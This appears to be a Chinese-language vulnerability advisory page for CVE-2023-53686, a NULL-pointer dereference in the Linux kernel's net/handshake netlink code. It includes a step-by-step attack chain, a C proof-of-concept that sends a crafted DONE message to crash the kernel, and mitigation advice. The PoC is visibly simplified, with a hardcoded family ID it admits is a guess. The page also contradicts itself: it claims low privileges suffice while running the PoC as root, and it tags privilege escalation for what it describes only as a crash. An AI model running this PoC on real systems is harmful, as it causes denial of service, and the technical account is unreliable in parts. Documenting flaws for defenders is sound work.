IPBUF安全漏洞报告
English
CVE-2023-53686 CVSS 5.5 中危

CVE-2023-53686 Linux内核net/handshake空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53686
漏洞类型
空指针解引用(Null Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(net/handshake子系统)

相关标签

Linux内核空指针解引用net/handshakenetlink拒绝服务本地提权内核漏洞CVE-2023-53686KASANOops

漏洞概述

CVE-2023-53686是Linux内核net/handshake子系统中存在的一个空指针解引用漏洞,位于netlink接口函数handshake_nl_done_doit()中。该漏洞源于在套接字查找失败的情况下仍然调用了trace_handshake_cmd_done_err()追踪函数,并且在释放文件描述符之后才对sock->sk进行解引用操作,导致访问已释放或无效的内存区域。当攻击者通过netlink套接字发送特制的DONE消息时,内核会进入handshake_nl_done_doit()函数处理流程。若套接字查找过程未能成功获取到有效的socket对象,程序会继续执行后续代码并尝试访问sock->sk字段,从而触发空指针解引用错误。KASAN(Kernel Address Sanitizer)检测到该问题,报告在虚拟地址dfff800000000003处发生内核分页请求错误,范围为[0x0000000000000018-0x000000000000001f],属于level 1 translation fault。该漏洞可被本地低权限用户触发,导致系统崩溃(内核Oops),造成拒绝服务攻击。该漏洞在Linux 6.5-rc7版本中被发现和修复,影响多个Linux内核稳定版本。

技术细节

该漏洞的技术原理涉及Linux内核net/handshake模块的netlink消息处理流程。具体而言,handshake_nl_done_doit()函数是genetlink(通用netlink)框架中用于处理握手完成通知的回调函数。漏洞的触发需要满足以下条件:

1. 攻击者通过netlink套接字(AF_NETLINK)向handshake netlink族发送DONE类型的命令消息;
2. 内核调用handshake_nl_done_doit()函数进行处理;
3. 函数内部通过netlink_getsockbyportid()等接口尝试查找与netlink端口ID关联的socket对象;
4. 若查找失败(例如socket已被关闭或端口ID无效),sock指针为NULL;
5. 然而函数仍然继续执行trace_handshake_cmd_done_err()追踪调用,该函数内部尝试访问sock->sk成员;
6. 由于sock为NULL,访问sock->sk时偏移量0x18处发生空指针解引用;
7. 此外,即使sock非NULL,在调用trace_handshake_cmd_done_err()之前已释放了file结构体,导致sock->sk指向已释放的内存,产生use-after-free问题。

修复方案包括:1)在套接字查找失败时直接返回错误,不调用trace函数;2)在释放file之前先完成trace调用;3)同时还原了之前提交的7afc6d0a107f补丁中关于未初始化局部变量的修改。

攻击链分析

STEP 1
步骤1:建立netlink连接
攻击者创建一个AF_NETLINK类型的套接字,并绑定到NETLINK_GENERIC协议族,以获取与内核通信的能力。
STEP 2
步骤2:查询handshake族ID
通过发送genetlink CTRL_CMD_GETFAMILY控制命令,查询handshake netlink族的family ID,用于后续发送特定命令。
STEP 3
步骤3:构造恶意DONE消息
构造一个HANDSHAKE_CMD_DONE类型的netlink消息,使用无效的端口ID(portid=0或已关闭的socket的portid),使内核在handshake_nl_done_doit()中无法查找到对应的socket对象。
STEP 4
步骤4:发送触发消息
通过netlink套接字将构造好的恶意消息发送到内核,触发handshake_nl_done_doit()函数的执行路径。
STEP 5
步骤5:触发空指针解引用
内核在套接字查找失败后,仍然调用trace_handshake_cmd_done_err()并尝试访问sock->sk成员,导致在偏移0x18处发生空指针解引用,触发内核Oops。
STEP 6
步骤6:系统拒绝服务
内核崩溃导致系统不可用,本地攻击者成功实现拒绝服务攻击,影响系统可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53686 PoC - Trigger null-ptr-deref in handshake_nl_done_doit() * Compile: gcc -o poc poc.c * Run: sudo ./poc * Note: Requires CAP_NET_ADMIN or access to netlink socket */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> #define HANDSHAKE_FAMILY_NAME "handshake" // netlink attribute types for handshake enum handshake_attrs { HANDSHAKE_A_UNSPEC, HANDSHAKE_A_STATUS, HANDSHAKE_A_KEYRING, HANDSHAKE_A_KEY_SERIAL, HANDSHAKE_A_KEY_DESCRIPTION, HANDSHAKE_A_PEER_NAME, HANDSHAKE_A_PEER_PORT, HANDSHAKE_A_HOSTNAME, HANDSHAKE_A_SERVICE, HANDSHAKE_A_GROUPS, HANDSHAKE_A_CLOSED, __HANDSHAKE_A_MAX, }; // handshake commands enum handshake_commands { HANDSHAKE_CMD_UNSPEC, HANDSHAKE_CMD_ACCEPT, HANDSHAKE_CMD_DONE, // This triggers the vulnerability HANDSHAKE_CMD_DONE_ERR, __HANDSHAKE_CMD_MAX, }; struct nlmsghdr *make_nlmsg(int family_id, int cmd, int portid) { struct nlmsghdr *nlh; struct genlmsghdr *glh; int len = NLMSG_LENGTH(sizeof(*glh)); nlh = (struct nlmsghdr *)malloc(len); if (!nlh) return NULL; memset(nlh, 0, len); nlh->nlmsg_len = len; nlh->nlmsg_type = family_id; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 1; nlh->nlmsg_pid = portid; glh = (struct genlmsghdr *)NLMSG_DATA(nlh); glh->cmd = cmd; glh->version = 1; return nlh; } int main(int argc, char *argv[]) { int nlfd; struct sockaddr_nl sa; struct nlmsghdr *nlh; int family_id = 0; char buf[4096]; // Create netlink socket nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nlfd < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; if (bind(nlfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(nlfd); return 1; } // Resolve handshake family ID via ctrl command // (simplified - in real PoC, send CTRL_CMD_GETFAMILY request) // For demonstration, assume family_id is known family_id = 31; // This may vary by kernel version // Build HANDSHAKE_CMD_DONE message with invalid portid to trigger null-ptr-deref // Using portid 0 or an invalid one causes socket lookup to fail nlh = make_nlmsg(family_id, HANDSHAKE_CMD_DONE, 0); if (!nlh) { close(nlfd); return 1; } // Send the crafted netlink message if (send(nlfd, nlh, nlh->nlmsg_len, 0) < 0) { perror("send"); } free(nlh); close(nlfd); printf("PoC sent. Check kernel logs for null-ptr-deref.\n"); return 0; }

影响范围

Linux Kernel < 6.5 (net/handshake子系统受影响版本)
Linux Kernel 6.5-rc7及之前版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)限制普通用户对netlink套接字的访问权限,仅允许受信用户使用CAP_NET_ADMIN权限;2)通过seccomp或LSM(如AppArmor、SELinux)策略限制进程对NETLINK_GENERIC协议族的访问;3)监控内核日志中的Oops和KASAN报告,及时发现利用尝试;4)如果系统不使用TLS握手功能,可以通过内核模块禁用net/handshake子系统;5)部署入侵检测系统监控异常的netlink消息发送行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表